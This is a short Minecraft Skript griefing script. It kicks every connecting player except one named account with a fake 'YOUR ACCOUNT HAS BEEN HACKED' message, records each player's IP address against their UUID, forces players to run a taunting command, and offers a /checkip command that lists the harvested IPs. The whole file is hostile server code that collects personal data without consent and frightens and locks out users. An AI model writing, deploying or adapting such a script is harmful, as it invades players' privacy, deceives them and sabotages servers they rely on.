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- on connect:
- player is not "Koooookey"
- broadcast "&cCONNECT&f%player%"
- {ips::*} contains ip of player:
- kick the player due to "%nl%%nl%%nl%%nl%&c&lTHANK YOU FOR &5&l&kaa&4&lCONNECTING&5&l&kaa%nl%%nl%&fYOUR ACCOUNT HAS BEEN HACKED BY &fクッキー様"
- stop
- kick the player due to "%nl%%nl%%nl%%nl%&c&lTHANK YOU FOR &5&l&kaa&4&lCONNECTING&5&l&kaa%nl%%nl%&fYOUR ACCOUNT HAS BEEN HACKED BY &fクッキー様"
- set {ips::%uuid of player%} to ip of player
- execute player command "kfc §5§l§kaa§aお〜い^^ §cおら§6§l課金§c大好きやで^^§5§l§kaa"
- command /checkip:
- trigger:
- loop {ips::*}:
- message "&c%loop-index%: &f%loop-value%"
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